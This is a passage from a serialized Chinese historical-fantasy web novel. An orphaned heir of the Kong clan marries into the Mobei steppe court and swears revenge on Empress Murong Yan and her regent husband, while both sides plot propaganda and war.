一股巨大的屈辱感涌上心头。 他孔志谦,竟要依靠出卖祖宗姓氏的余晖,依靠与异族稚女的联姻,来换取复仇的机会? 然而,当他想到曲阜冲天的火光,想到亲人们倒在血泊中的惨状,想到慕容嫣和林臻的名字那刻骨的仇恨,瞬间将所有的犹豫和屈辱都焚烧殆尽。 他深吸一口气,压下翻腾的心绪,对着左贤王乌维,缓缓地、坚定地单膝跪地,行了一个标准的漠北臣服礼。 “孔志谦,谢左贤王厚恩!愿娶萨仁公主为妻,此生,必效忠王庭,助王庭成就大业,誓杀慕容嫣、林臻,以雪血海深仇!” 他的声音还带着少年的清亮,但其中的决绝与冰冷,却让帐内的一些侍卫都感到一丝寒意。 第1038章 严密监控漠北 乌维满意地大笑起来,亲自上前扶起他:“好!从今日起,你便是本王的女婿,我漠北的驸马!你会得到最好的教导,最强的训练!待你成年之日,便是我们挥师南下之时!” 婚礼在数日后举行,按照漠北的习俗,简单而隆重。 十一岁的孔志谦和八岁的萨仁公主,穿着与他们年龄不相称的华丽礼服,在祭司的吟唱和族人的欢呼中,完成了仪式。 萨仁公主似乎并不完全明白这场婚姻的意义,只是懵懂地跟着做动作。 而孔志谦,则全程面无表情,眼神空洞地望着南方,仿佛透过无尽的草原和山脉,看到了长安城中的仇敌。 当晚,所谓的新房内,红烛高燃。 孔志谦脱下繁重的礼服,依旧穿着那件旧儒衫,独自坐在毡垫上。 萨仁公主早已被嬷嬷带去休息。 空旷的帐内,只剩下他一个人。 他拿出那柄磨得锋利的匕首,在烛光下反复看着。冰凉的刀身,映出他稚嫩却写满仇恨的脸。 “慕容嫣,林臻。”他低声念着这两个名字,每一个字都像是从牙缝中挤出来,“你们等着,等我长大,等我带着漠北的铁骑回来,这笔血债,我会连本带利,亲手讨回来!” 烛火摇曳,将少年孤寂而扭曲的身影,长长地投在毡帐壁上。 大乾帝国京城被一场纷纷扬扬的大雪覆盖,琼楼玉宇,银装素裹,一派静谧雍容。 然而,在这片祥和的雪景之下,紫宸宫深处,却弥漫着一种无形的紧张气氛。 漠北王庭异动的消息,如同冬日里暗藏的寒流,悄无声息地侵蚀着帝国的安宁。 慕容嫣斜倚在暖阁的风榻上,榻背与扶手皆雕刻着展翅欲飞的凤凰图腾。 阁内暖炉烧得正旺,驱散了窗外的严寒。 她身上依旧只穿着那件作为寝衣的黑金苏锦棉质睡裙——神凤降世裙。 柔软的棉质面料贴合着她日渐康复却仍显单薄的身躯,墨黑的底色在温暖的光线下泛着幽深的光泽,织入其间的金色棉绒与金线绣成的凤凰暗纹,随着她细微的呼吸,流淌着静谧而华贵的辉光。 那件黑金貂皮披肩搭在一旁的凤纹衣架上,绒毛在火光映照下闪烁着点点金芒。 长达五丈的苏锦拖尾,从榻沿迤逦而下,在光滑如镜的金砖地面上铺散开一片墨金色的云锦。 因她近日多在榻上静养,少有力气整理,那拖尾便显得格外凌乱,一部分堆叠在榻脚,皱褶层叠,一部分蜿蜒至阁中央,甚至有几缕滑到了摆放点心的紫檀木矮几旁,与铺地的波斯地毯流苏纠缠在一起,形成一种慵懒而又带着几分无力顾及的无序美感。 宽大的喇叭袖一只软软垂在榻边,袖口繁复的金线刺绣边缘拂过地面,另一只则被她用来微微垫着侧倚的脸颊。 她左手拇指上的那枚墨玉扳指,在她无意识摩挲榻上凤纹时,偶尔与木质相触,发出极轻微的声响。 林臻坐在榻边的一张绣墩上,手中拿着一份刚由暗卫呈上的密报,眉头微锁。 窗外的雪光映照着他棱角分明的侧脸,更添几分沉稳与冷峻。 “漠北那边,有新的消息了?”慕容嫣抬起眼,看向他,声音还带着一丝病后的软糯,但眼神已恢复了往日的清明。 林臻将密报递给她,语气平稳,却透着凝重: “嗯。我们派往漠北的‘夜枭’确认了一件事。孔文博的那个幼子,孔志谦,确实没死。而且他如今就在漠北王庭,被左贤王乌维收养,据说还娶了乌维的幼女,萨仁公主。” 慕容嫣接过密报的手微微一顿,长长的睫毛垂下,遮住了眸中瞬间闪过的复杂情绪。 她快速浏览着纸上的文字,每一个字都像一根冰冷的针,刺入她的心扉。 孔家遗孤不仅活着,还投靠了世仇,甚至成了漠北王庭的驸马! 这已不仅仅是个人恩怨,而是上升到了国仇的高度。 她放下密报,沉默了片刻,才轻轻叹了口气,将头靠向林臻的肩膀,语气中带着一丝不易察觉的疲惫和或许是些许的怅然: “夫君看来,当初在蓬莱,我还是心软了若当时能再查得仔细些,或许就不会留下今日这般祸患。” 林臻放下密报,自然地伸出手臂揽住她,让她靠得更舒适些,另一只手轻轻抚过她披散在肩头的青丝,柔声道: “嫣儿,此事怎能怪你?当时情势危急,孔文博父子当场伏诛,谁能料到竟有一个幼子被忠心仆役拼死送出了曲阜?更何况,茫茫人海,刻意隐藏,寻他如同大海捞针。要怪,只怪那些逆贼狡猾,以及漠北包藏祸心。” 他的声音低沉而充满安抚的力量:“如今既已确认他的下落和身份,反倒好了。明处的敌人,总比藏在暗处的毒蛇要好对付。” 慕容嫣在他怀中轻轻“嗯”了一声,像只寻求安慰的猫儿,用脸颊蹭了蹭他的胸膛,闷闷地说:“我只是觉得有些堵得慌。 孔圣一脉,千年清誉,竟落得与蛮夷为伍,反过来觊觎故国真是可悲又可恨。” 她的语气里,竟罕见地流露出一丝对于对手堕落的惋惜,这或许源于她内心深处对文化正统的一丝认同。 林臻低头,在她发间落下一吻,目光却锐利如刀: “路是他们自己选的。既然选择了背叛家国,投靠敌酋,那便是自绝于天下。嫣儿不必为此烦心。如今我们已知其所在,便有了应对之策。漠北想用他这面旗子,我们便想办法拆了这面旗,或者,让这面旗反过来成为他们的负累。” 他的话语中充满了强大的自信与掌控力,让慕容嫣感到无比安心。 她抬起头,望着他坚毅的下颌线,伸手摸了摸他冒出些微胡茬的脸颊,眼中带着依赖与娇嗔:“还好有夫君在,这些烦心事,听着就让人头疼。那你打算如何应对?” 林臻握住她微凉的手,放在掌心暖着,沉吟道:“首先,严密监控漠北一切动向,尤其是与这个孔志谦相关的。其次,或许可以在士林中和民间,慢慢放出些风声。” “风声?”慕容嫣眨了眨眼。 “对,”林臻嘴角勾起一抹冷峻的弧度,“比如,孔家遗孤贪生怕死,认贼作父,为求活命甚至不惜娶蛮夷幼女,早已背弃祖宗礼法,玷污圣裔清名他漠北想打‘正统’牌,我们就先把他这‘正统’的外衣扒下来,让他臭名远扬。届时,他非但不是助力,反而可能成为漠北内部的一根刺。” 慕容嫣闻言,眼睛一亮,忍不住轻笑出声,带着几分狡黠: “夫君此计甚妙!攻心为上,杀人诛心。让天下人都看看,他们寄予厚望的‘圣裔’,是个什么货色。” 她顿了顿,又微微蹙眉, “只是,漠北王庭既然收留他,必定有所图谋,恐怕不会轻易让我们得手。而且,那孩子年纪虽小,经历如此巨变,心性恐怕已非寻常孩童。” “无妨。”林臻语气沉稳, “阴谋阳谋,不过手段。关键在于实力。只要我们大乾内部铁板一块,军力强盛,任他漠北有何诡计,也不过是跳梁小丑。当前首要之事,仍是你的身体。等你大好,我们再来好好收拾这些宵小。” 第1039章 女帝和林臻可是恩爱的很呢 正说话间,慕容嫣忽然轻轻咳嗽了几声,林臻立刻紧张地轻拍她的后背,端过一旁的温水喂她喝下。 慕容嫣就着他的手喝了几口,缓过气来,有些不好意思地笑了笑:“没事,就是话说多了些。” 看着她苍白的脸色,林臻眼中满是心疼,柔声道:“好了,这些事暂且放下。你该歇息了。我陪你一会儿。” 慕容嫣顺从地点点头,重新躺好。林臻细心地为她掖好被角,又将那件黑金貂皮披肩拉过来,轻轻盖在她的肩头。 阁内一时静谧,只闻炭火偶尔爆开的噼啪声和窗外簌簌的落雪声。 与此同时,远在数千里之外的漠北龙城,则是另一番天地。 严寒笼罩着草原,北风呼啸。 在一顶比普通毡帐宽敞暖和许多、属于驸马的帐内,十一岁的孔志谦,正跪坐在毡垫上,就着牛油灯昏暗的光线,阅读着一卷从中原流出的、残缺的《孙子兵法》。 他身上的漠北皮袍难以完全掩饰他身形的中原特征,但那张原本稚嫩的脸上,却已刻满了与年龄不符的阴郁与冷硬。 短短数月,他像一块被投入急冻的寒铁,迅速变得冰冷而坚硬。 他拼命学习一切能让他强大的东西:漠北的语言、骑射、刀法,甚至开始涉猎兵法。左贤王乌维似乎对他这种“上进”颇为满意,派了专门的武士和学者来教导他。 而他那名义上的妻子,八岁的萨仁公主,大多数时候只是被嬷嬷带着,偶尔会好奇地来看这个沉默寡言的“小丈夫”一眼,但两人几乎没有任何交流。 帐帘被掀开,一股寒气涌入,商人阿史那罗走了进来,脸上带着惯有的、看似豪爽的笑容:“驸马爷,还在用功呢?” 孔志谦抬起眼,目光平静无波,只是微微颔首:“阿史那罗叔叔。” 阿史那罗凑近些,压低声音:“有个消息,从南边传来的,关于那位女帝的。” 孔志谦翻动书简的手指骤然停顿,指节微微发白。 他抬起头,黑眸中瞬间迸射出如同饿狼般的光芒,声音却压抑得异常平静:“她死了?” 阿史那罗摇摇头,嘿然一笑:“那倒没有。听说病了一场,但似乎缓过来了。而且,如今和大乾的摄政王林臻,可是恩爱得很,形影不离呢。” “咔嚓”一声轻响,孔志谦手中那卷竹简,竟被他生生捏裂了一道缝隙!他脸上的肌肉微微抽搐,眼中翻涌着滔天的恨意与一丝连他自己都未察觉的、扭曲的嫉妒。 凭什么? 凭什么他慕容嫣家破人亡,苟延残喘于这苦寒之地,而那个下令屠他满城的女人,却能安享尊荣,夫妻恩爱?! 他深吸一口气,强行压下翻腾的气血,将裂开的竹简轻轻放下,声音冷得如同帐外的寒冰:“她活得越好将来,我亲手取她性命时,才会越有意思。” 阿史那罗看着他眼中那令人心悸的仇恨,满意地点点头:“驸马爷有这等志气就好!左贤王说了,开春之后,会有大动作。你好生准备着,报仇雪恨的日子,不会太远!” 阿史那罗离开后,帐内重归寂静。 孔志谦走到帐边,掀开一角帘子,望着外面被冰雪覆盖的、一望无际的草原,还有远处王庭金顶大帐在风雪中模糊的轮廓。寒风吹拂着他稚嫩却冰冷的脸庞。 “慕容嫣,林臻。”他对着南方,用尽全身力气,低低地发誓,每一个字都带着血泪的腥气,“你们等着,用不了多久了我会带着漠北的铁骑,回去将你们所珍视的一切,都碾为齑粉!” 雪,越下越大,覆盖了草原,也仿佛要覆盖掉所有的痕迹与声音。 ...... 大乾帝国,长安城,紫宸宫。 时值深冬,岁末的寒意笼罩着帝都,然而宫闱深处却因即将到来的元正大典而透出几分忙碌与喜庆。 暖阁内,地龙烧得暖融如春,与外间的凛冽俨然两个世界。 慕容嫣端坐于凤椅之上,面前的长案堆满了待批的奏章。 她已临朝听政数日,气色较之前好了许多,虽眉宇间仍存一丝病后的倦意,但眼神已恢复了往日的锐利与威仪。 那件黑金苏锦棉质睡裙——神凤降世裙,依旧是她不曾离身的寝衣。 墨黑的苏锦底料在宫灯温暖的光线下,流淌着沉静如深渊的光泽,织入的金色棉绒与金线绣成的擎天巨凤暗纹,在她凝神批阅时,随着她细微的动作,折射出内敛而持重的金辉。 那件黑金貂皮披肩,因殿内温暖,并未上身,而是妥帖地搭在凤椅旁一架精美的孔雀衔芝紫檀木衣架上。 长达五丈的苏锦拖尾,从凤椅高高的基座上垂落,在光洁的金砖地面上铺陈开一片迤逦的墨金色云锦。 因她端坐良久,裙摆自然堆叠,形成数道舒缓的褶皱,更有一部分蜿蜒至丹陛下,甚至有几缕滑到了铺地的厚绒地毯边缘,与地毯上繁复的缠枝莲纹交织在一起,呈现出一种因专注政务而无暇他顾所形成的、自然而随性的凌乱。 宽大的喇叭袖口,一只软软垂在身侧,袖缘的金线流苏拂过地面,另一只则被她用来微微支撑着倚在案上的手臂。 她左手拇指上的那枚墨玉扳指,在她执朱笔批红时,与温润的笔杆相映,泛着幽深的光泽。 林臻坐在她下首不远处的一张紫檀圈椅上,手中也拿着一份文书,但目光却时常落在慕容嫣身上,关注着她的气色与状态。 阁内静谧,只闻炭火轻微的噼啪声与朱笔划过纸面的沙沙声。 良久,慕容嫣放下朱笔,轻轻揉了揉眉心,发出一声几不可闻的叹息。 林臻立刻察觉,放下手中文书,起身走到她身边,柔声问道:“嫣儿,可是累了?歇息片刻吧。” 说着,自然地将一杯温热的参茶递到她手边。 慕容嫣抬起头,看向他,眼中带着一丝依赖,接过茶盏,小呷了一口,语气带着点撒娇的意味:“是有些乏了这些御史,奏章里尽是些车轱辘话,看着头疼。” 她顺势将头轻轻靠向林臻的手臂, “还是夫君清闲,只需帮朕看看紧要军报即可。” 林臻轻笑,伸手替她理了理鬓边一丝不听话的散发,动作轻柔:“能者多劳。我的女帝陛下英明神武,自然要多辛苦些。” 他语气宠溺,接着道, “若实在累了,便去榻上歇会儿,剩下的我来替你看。” “那怎么行,”慕容嫣直起身,摇摇头,凤眸中带着坚持,“年末诸事繁杂,尤其是边关调度、粮饷安排,关乎来年安稳,朕需得亲自过目才放心。” 她顿了顿,语气转为关切,“倒是你,北疆那边,近日可有新的消息?漠北还有那个孔家子,没再闹出什么动静吧?” 提到此事,林臻的神色稍凝,他在慕容嫣身旁的脚踏上坐下,以便与她平视,低声道: “正要与你说。‘夜枭’刚传回密报,漠北王庭这个冬天异常安静,各部首领皆缩在龙城周边,少有大规模狩猎或调动。至于那个孔志谦” 慕容嫣放下茶盏,目光专注起来:“他如何?” 第1040章 两个孩子而已,谈何融洽 “据报,他深得左贤王乌维看重,不仅延请名师教导其漠北文字、骑射兵法,甚至允许他旁听部分部落议事。” 林臻的语气带着一丝凝重, “而且,他与那个小公主萨仁,表面上看,倒是‘相处融洽’。” “相处融洽?”慕容嫣眉梢微挑,带着一丝讥诮,“一个十一二岁的孩子,一个八九岁的女娃,谈何融洽?不过是做给旁人看的戏码罢了。” 她何等敏锐,立刻嗅到了其中的不寻常。 “嫣儿所料不差。” 林臻点头, “密报提及,那孔志谦在公开场合,对萨仁公主表现得颇为‘呵护’,乌维赏赐之物,也多分与公主。私下里,据内线隐约观察,两人交流甚少,孔志谦多数时间独自研读或习武,那萨仁公主似乎也有些怕他。但这副‘夫妻和睦’的景象,却颇得乌维欢心,也让一些原本对收养汉人遗孤有微词的部落首领,暂时闭上了嘴。” 慕容嫣闻言,冷笑一声,指尖轻轻敲击着凤椅扶手:“好一个乌维!好一个孔家遗孤!一个假意施恩,笼络人心,包装棋子;一个忍辱负重,曲意逢迎,蛰伏待机。这出戏,演得倒是投入!” 她的目光渐冷, “他们越是表现得‘融洽’,越是证明所图甚大!乌维是想把这个孔志谦,彻底培养成一把指向我大乾的、裹着‘正统’外衣的毒刃!” “正是如此。”林臻眼中寒光一闪,“乌维打的,就是‘以汉制汉’的算盘。想利用孔圣后裔的身份,将来南下时,蛊惑人心,减少抵抗。” “痴心妄想!” 慕容嫣断然道,身上那件神凤降世裙的墨金色泽,仿佛也随着她的怒气而流转加速, “孔家若真还有半点圣贤风骨,岂会与屠戮边民、劫掠成性的漠北蛮族为伍?他既选择了这条路,便是自绝于华夏!待到兵戎相见之时,天下人自有公论!” 她深吸一口气,压下怒意,转向林臻,语气沉稳下来:“夫君,对此,我们不可不防,但亦不可自乱阵脚。当前首要,仍是巩固内政,整军经武,使我大乾固若金汤。同时,对其动向,需加倍密切关注。尤其是开春之后,漠北必有动作。” “我明白。”林臻握住她的手,给予她坚定的支持,“北疆防线,我已命郑蛟加派斥候,严加戒备。内地军镇,也在加紧轮训囤粮。至于舆论方面。” 他沉吟片刻, “或可让杜相他们,适时引导士林清议,剥去那孔家子‘圣裔’的光环,揭露其认贼作父、数典忘祖的实质。” 慕容嫣赞许地点点头:“此事交由杜相去办,需润物无声,把握分寸。” 她顿了顿,脸上露出一丝疲惫,身子微微向后靠向椅背, “有夫君运筹帷幄,朕便安心多了。” 就在这时,她似乎想到什么,欲起身去取案几另一侧的一份地图。 就在她转身挪动的刹那—— 动作带着商议要事后的决断与些许疲惫的迟缓! 那迤逦在地、铺散凌乱的五丈墨金色拖尾被骤然带动! 华贵的苏锦拂过光滑的地面,发出“唰啦”一声轻响。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在温暖宫灯下闪烁着如同暗夜星河般璀璨而神秘光芒的“满地织金”内衬! 那只布满整件睡裙的凤凰纹路,在瞬间展现出其内里蕴含的、更为精致繁复的辉煌图景,那金光不似外表那般沉稳,而是充满了内敛的磅礴与坚韧,仿佛在宣告着无论外界风云如何变幻,其内核的尊贵与力量永不磨灭! 这惊鸿一瞥,是她面对潜在威胁时冷静与决心的外在映射。 裙摆落下,将那片璀璨的金光掩盖。 慕容嫣取回地图,与林臻继续低声商讨起北疆防务的具体细节。 窗外,天色渐暗,雪花又开始悄然飘落,覆盖了皇城的琉璃碧瓦,也仿佛要暂时覆盖住远在北方的威胁。 漠北龙城,千里冰封,万里雪飘。 刺骨的寒风卷着雪沫,呼啸着掠过连绵的毡帐穹顶,发出如同鬼泣般的呜咽声。 相较于南国帝都的精致与繁忙,此地的冬季更显粗犷、严酷,以及一种蛰伏待发的压抑力量。 在龙城最中心,那顶最为宏伟、以纯白牦牛毛毡覆盖、金顶辉煌的王庭大帐内,此刻却是热气蒸腾,酒肉飘香,与帐外的酷寒形成鲜明对比。 漠北大汗,冒顿单于,高踞于铺着完整雪豹皮的狼头宝座之上。 他年约五旬,身材魁梧雄壮,面色赤红,虬髯如戟,一双鹰眼开合间精光四射,不怒自威。 身上穿着厚重的貂皮大氅,更添几分蛮霸之气。 帐下左右,分坐着以左贤王乌维为首的诸位王族、叶护、大将,人人面前摆着大碗的马奶酒和烤得滋滋冒油的牛羊肉,气氛看似热烈,却弥漫着一股无形的凝重。 “大汗!”一名负责南方哨探的当户(官职名)匍匐在地,恭敬禀报, “南边传来的最新消息!大乾女帝慕容嫣病体已愈,重新临朝,与那摄政王林臻共同主持朝政,看似君臣和睦,励精图治。其北疆防线,自入冬以来,戒备异常森严,巡逻斥候的数量和频率都增加了三成不止!各地军镇也在加紧囤积粮草,操练兵马!” 冒顿单于端起面前的银碗,将烈性的马奶酒一饮而尽,随手抹了把虬髯上的酒渍,声音洪亮如钟: “哼!慕容嫣那个女人,命倒是硬!听说在蓬莱差点就去见了长生天,这都能让她缓过来?林臻那小娃娃,也是个厉害角色,把他老子那套学了个十足十!” 左贤王乌维闻言,放下手中的割肉小刀,接口道: “大汗明鉴。慕容嫣此番病愈,必然更加警惕。我大军去年秋冬虽小有斩获,突破了几个边隘,但未能动摇其根本。如今他们严加防范,开春后再想如往年般轻易叩关掠食,恐怕难了。” “难?”旁边一位性情暴躁的右谷蠡王猛地一拍案几,震得碗碟乱响, “有什么难的!南人懦弱,只会躲在城墙后面!只要大汗一声令下,我漠北的铁骑,定能再次踏破长城,杀他个人仰马翻!抢钱,抢粮,抢女人!” “莽撞!”乌维瞪了右谷蠡王一眼,语气带着训斥, “打仗若只靠蛮力,我等早已一统草原,何须在此商议?大乾立国数十年,根基深厚,军备精良,岂是任人宰割的羔羊?慕容嫣和林臻,更非庸主!需得用计!” “用计?用什么计?”右谷蠡王不服气道。 乌维没有直接回答,而是将目光转向坐在帐中偏后位置的一个瘦小身影。 顿时,所有人的目光都随之汇聚过去。 那里,坐着年仅十一岁的孔志谦。 他穿着一身合体的漠北贵族皮袍,小脸被帐内的热气熏得微红,但一双黑眸却沉静得可怕,与周遭喧嚣的环境格格不入。 他身旁,坐着年仅八岁的萨仁公主,小姑娘似乎有些畏惧这严肃的场面,低着头,小口啃着一块奶糕,不时偷偷瞄一眼身旁名义上的“丈夫”。 “计策,远在天边,近在眼前。”乌维意味深长地指了指孔志谦,“大汗,诸位,可知我们这位小驸马,意味着什么?” 孔志谦感受到众人的注视,身体微微绷紧,但依旧垂着眼帘,不动声色。 乌维继续道:“他,是孔圣人的嫡系血脉!在南人士林心中,有着非凡的地位!慕容嫣悍然屠灭孔府满门,在南人自己心中,也未必全然信服,尤其是那些自诩清高的读书人!我们若能好好利用这面旗帜……” “旗帜?”右谷蠡王嗤笑一声,“一个毛都没长齐的小娃娃,能顶什么用?难道举着他,南人的城墙就不攻自破了?” 第1041章 奋发图强的孔家遗孤 “愚蠢!”乌维冷哼一声,“打仗,攻心为上!我们不仅要抢钱抢粮,更要……夺其国祚!” 他眼中闪烁着野心勃勃的光芒, “以往我们南下,名不正言不顺,被视为蛮族入侵,故而南人往往拼死抵抗。可若我们打出‘为孔圣复仇’、‘光复中原正统’的旗号呢?” 他站起身,走到大帐中央,声音激昂起来: “我们可以告诉南方的汉人,我们不是去抢劫的强盗,我们是去帮他们推翻慕容嫣那个暴虐女帝,迎回圣裔,重建礼乐之邦的!届时,必有心怀异志者暗中响应,必有无知百姓箪食壶浆!我军所到之处,抵抗必弱三分!这,才是真正的‘趁虚而入’!” 帐内顿时响起一片议论。 不少部落首领眼中亮了起来,显然被这个说法所吸引。但也有持重者表示疑虑。 “左贤王此计虽妙,”一位年老持重的叶护沉吟道,“但……如何能让南人相信我们?毕竟,非我族类……” “所以,关键就在于他!”乌维再次指向孔志谦,语气充满诱惑, “我们需要将小驸马,培养成一位真正的‘明主’!让他学习汉家经典,知晓礼仪,更要让他展现出‘仁德’与‘复仇’的决心!届时,他登高一呼,岂不比我们千万铁骑更有说服力?” 乌维走到孔志谦面前,蹲下身,看似慈祥地拍了拍他的肩膀,声音却清晰地传遍大帐: “志谦,我的孩子,你告诉大汗和各位首领,你想不想为你孔家上下百余口冤魂报仇雪恨?想不想夺回原本属于你孔家、属于天下读书人的一切?” 孔志谦抬起头,迎上乌维看似温和实则逼迫的目光,又扫过帐内一众漠北贵族审视、怀疑、或期待的眼神。 他深吸一口气,压下心中的屈辱与冰冷,用清晰而坚定的漠北语回答,声音虽稚嫩,却带着一种不符合年龄的决绝: “想!血海深仇,不共戴天!志谦愿效忠大汗,效忠漠北!此生夙愿,便是手刃慕容嫣、林臻,光复……华夏正统!” 他刻意在最后四个字上加重了语气。 “好!”冒顿单于猛地一拍大腿,哈哈大笑起来,声震帐篷,“有志气!不愧是圣人之后!乌维,此事就交由你全权操办!务必给本汗带好这支‘奇兵’!” “臣遵命!”乌维躬身领命,嘴角勾起一抹得意的笑容。 宴会继续,气氛更加热烈。 没有人再过多关注角落里的孔志谦和萨仁。 孔志谦重新低下头,默默地吃着面前的食物,味同嚼蜡。 萨仁公主悄悄拉了拉他的衣袖,小声说:“驸马,你刚才说话的样子,好像父王哦。” 孔志谦身体一僵,没有回应,只是将衣袖轻轻抽了回来。 萨仁有些委屈地扁了扁嘴,也不再说话。 宴会散后,乌维将孔志谦单独留了下来。帐内只剩下他们两人,以及几名心腹侍卫。 “志谦,今日表现不错。”乌维卸下了方才的“慈祥”,语气恢复了平日的精明与冷酷,“记住你今天说的话。从明天起,我会为你请来最好的老师,不仅是漠北的技艺,还有你们汉家的经史子集,权谋韬略,你都要精通!你要让所有人看到,你,孔志谦,才是中原真正的主人!” 孔志谦垂首道:“是,左贤王。志谦明白。” “明白就好。”乌维盯着他,语气带着警告,“别忘了,你能有今天,是谁给你的。你的仇,要靠漠北的铁骑来报。好好扮演你的角色,将来,自有你的荣华富贵。若是有二心……” 他冷哼一声,未尽之语充满威胁。 “志谦不敢!此生愿为漠北,为左贤王,效犬马之劳!”孔志谦立刻表忠心。 “嗯,去吧。萨仁年纪小,你多‘照顾’着她点,做戏要做全套。”乌维挥挥手。 孔志谦躬身退出大帐。帐外,寒风如刀,刮在脸上生疼。 他抬头望向南方漆黑的天幕,那里是长安的方向。 他紧紧攥着拳头,指甲深深陷入掌心。 “慕容嫣……林臻……”他在心中无声地嘶吼,“你们等着……总有一天,我会‘报答’你们,和今天所有‘厚待’我的人!” 风雪中,少年单薄的身影,一步步走向那顶属于他“驸马”身份的、华丽而冰冷的毡帐。 漠北龙城的冬夜,漫长而酷寒。 凛风如刀,刮过毡帐,发出呜呜的声响,仿佛无数冤魂在旷野中哭泣。 左贤王乌维赐给驸马的那顶宽敞毡帐内,牛油灯盏跳动着昏黄的光晕,勉强驱散一隅黑暗,却驱不散弥漫在空气中那无形的沉重与冰冷。 帐内布置已带上了几分漠北贵族的奢华,铺着厚实的狼皮褥子,摆放着雕刻粗犷的木案和矮柜。 然而,在这片异域风情的包围中,一个瘦小的身影,正以一种与年龄极不相符的沉寂,跪坐在案前。 正是孔志谦。 他身着一件左贤王赏赐的、以珍贵黑狐皮镶边的漠北锦袍,华贵却难掩其下的单薄。 案上,摊开着一部边角磨损严重的《论语》,那是他从曲阜废墟中唯一带出的、属于父亲的旧物。 书页已然泛黄,上面还有父亲熟悉的批注笔迹。 然而,他的目光并未停留在圣贤之言上,而是死死盯着铺在书旁的一张粗糙的羊皮纸。 纸上,用炭笔潦草地画着一幅大乾北疆的简要地图,上面标注着几个关键的关隘和城镇名称,那是他凭借记忆和这些时日旁敲侧击听来的信息,偷偷绘制的。 炭笔在他指尖,已被捏得温热。 十一岁的少年,脸上早已褪去了孩童的稚嫩,取而代之的是一种被强行催熟的阴郁与冷漠。 只有那双过于漆黑的眼睛深处,偶尔会闪过一抹如同受伤幼兽般的痛楚和茫然,但很快就会被更深的恨意所覆盖。 “慕容嫣……林臻……”他无声地咀嚼着这两个名字,每一个字都像是一把烧红的刀子,在他的心上来回剐蹭。 脑海中不受控制地浮现出那个猩红的夜晚:冲天的火光,亲人们倒下的身影,张嬷嬷临死前绝望的叮嘱,还有那些玄甲士兵冰冷狰狞的面孔。 这些画面,日日夜夜折磨着他,成为他活下去的唯一动力,也成了将他拖入无尽深渊的梦魇。 帐帘被轻轻掀开一条缝,一股寒气涌入。 八岁的萨仁公主端着一碗热腾腾的羊奶,怯生生地探进头来。她穿着厚厚的皮袄,小脸冻得通红,看着案前那个沉默得令人害怕的“小丈夫”,小声说: “驸马……天冷了,喝点羊奶吧。” 孔志谦没有回头,甚至没有抬一下眼皮,只是从喉咙里发出一声极低的、近乎冷漠的回应:“放下吧。” 萨仁犹豫了一下,还是轻手轻脚地走进来,将奶碗放在案几一角,然后飞快地瞥了一眼那张画着地图的羊皮纸,眼中闪过一丝好奇,但更多的是畏惧。 她不敢多问,也不敢多待,像只受惊的小兔子般,又悄无声息地退了出去,帐内重归寂静。 虚伪。孔志谦在心中冷笑。 他知道,左贤王乌维需要这场婚姻来装点门面,需要他这个“圣人之后”来增加南下的筹码。 而萨仁,不过是个什么都不懂、被用来捆绑他的工具。 他对她没有丝毫感情,只有利用和掩饰。 他必须扮演好这个“感恩戴德”、“与公主恩爱”的驸马角色,才能获得更多的资源和信任,才能更好地隐藏自己,等待复仇的时机。 他端起那碗羊奶,温热透过瓷碗传到掌心,却丝毫温暖不了他冰封的心。 第1042章 夜晚,则是属于他一个人的炼狱 他小口啜饮着,奶腥味在口中弥漫,让他不由自主地想起了曲阜家中清晨那碗清淡的米粥,想起了母亲温柔的笑容……眼眶猛地一热,他迅速仰起头,狠狠闭上眼,将那股酸涩逼了回去。 不能哭。 眼泪是这世上最无用的东西。 曲阜孔家的血,早已流干了,眼泪洗不净半分仇恨。 他放下碗,目光再次落回那张地图上。 手指沿着上面勾勒出的长城线条缓缓移动。 云州、燕然……这些地名,他以前只在父亲和叔伯们的谈话中偶尔听闻,如今却成了他夜夜研究的对象。 他知道,那道蜿蜒的城墙之后,就是慕容嫣和林臻所在的繁华世界,也是他血海深仇的源头。 “先生今日教你的《孙子兵法》‘谋攻篇’,可曾领会?”一个低沉的声音在帐外响起,是左贤王派来教导他兵法的老武士巴特尔。 孔志谦迅速将羊皮地图卷起,塞入《论语》的书页中,然后起身,脸上瞬间换上了一副谦逊好学的表情,掀开帐帘: “巴特尔老师,学生正在研读,尚有几分不解,正想请教老师。” 帐外,寒风凛冽,巴特尔高大的身影如同铁塔般矗立。 他锐利的目光扫过孔志谦看似恭敬的脸庞,微微颔首:“进帐说吧。” 这样的场景,几乎每日都在上演。 白天,他是勤奋好学的驸马爷,如饥似渴地吸收着漠北的骑射、摔跤、兵法,以及乌维特意安排的、由掳来的汉人学者教授的经史子集。 他进步神速,连最苛刻的老师也挑不出毛病,左贤王乌维对此十分满意。 只有孔志谦自己知道,他学习这一切,不是为了效忠漠北,而是为了将来有一天,能用他们教的刀,砍向他们,以及更南边的仇人。 夜晚,则是属于他一个人的炼狱。 褪去所有伪装,仇恨如同毒虫,啃噬着他的五脏六腑。 他会在无人时,偷偷练习汉家的书法,临摹父亲的笔迹,仿佛这样就能抓住一点逝去的温暖。 他还会用那把从不离身的、磨得锋利的匕首,在木板上反复刻下“慕容”、“林”等字,然后再一刀刀狠狠地划掉,直到木板碎裂。 有时,萨仁公主会偷偷从帐帘缝隙看他。 她看到的不再是白日那个沉默但还算平静的驸马,而是一个被某种可怕情绪笼罩、眼神冰冷得让她发抖的陌生人。 她越来越怕他,但父王的命令和嬷嬷的叮嘱,又让她不得不靠近他。 这一夜,风雪似乎更大了。 孔志谦吹熄了牛油灯,躺在冰冷的狼皮褥子上,睁着眼睛,望着帐顶模糊的阴影。 远处传来守夜士兵单调的报时声和狼群的嗥叫,与记忆中的丝竹管弦、朗朗书声形成了残酷的对比。 他想起了父亲孔文博,那个总是神情严肃、却会在闲暇时教他认字读经的父亲;想起了温柔的母亲;想起了调皮捣蛋的堂兄;想起了孔府那棵高大的银杏树,秋天时会落满一地的金黄…… 而现在,这一切都没了。 只剩下他一个人,在这苦寒之地,与狼为伍,与仇为伴。 “父亲,母亲,叔伯,张嬷嬷……”他在心中无声地呼唤,眼泪终于不受控制地滑落,迅速变得冰凉, “你们在天上看着……看着谦儿……谦儿一定会活下去……会变得强大……会用仇人的血,祭奠你们的在天之灵!” 他紧紧攥着胸口的衣襟,那里贴身藏着一小块从曲阜带出来的、被火烧得焦黑的玉佩碎片,那是母亲留给他的唯一念想。 冰冷的触感,让他混乱的心绪稍稍平静。 “慕容嫣,林臻,”他再次默念,这一次,声音里没有了彷徨,只剩下淬了冰的坚定, 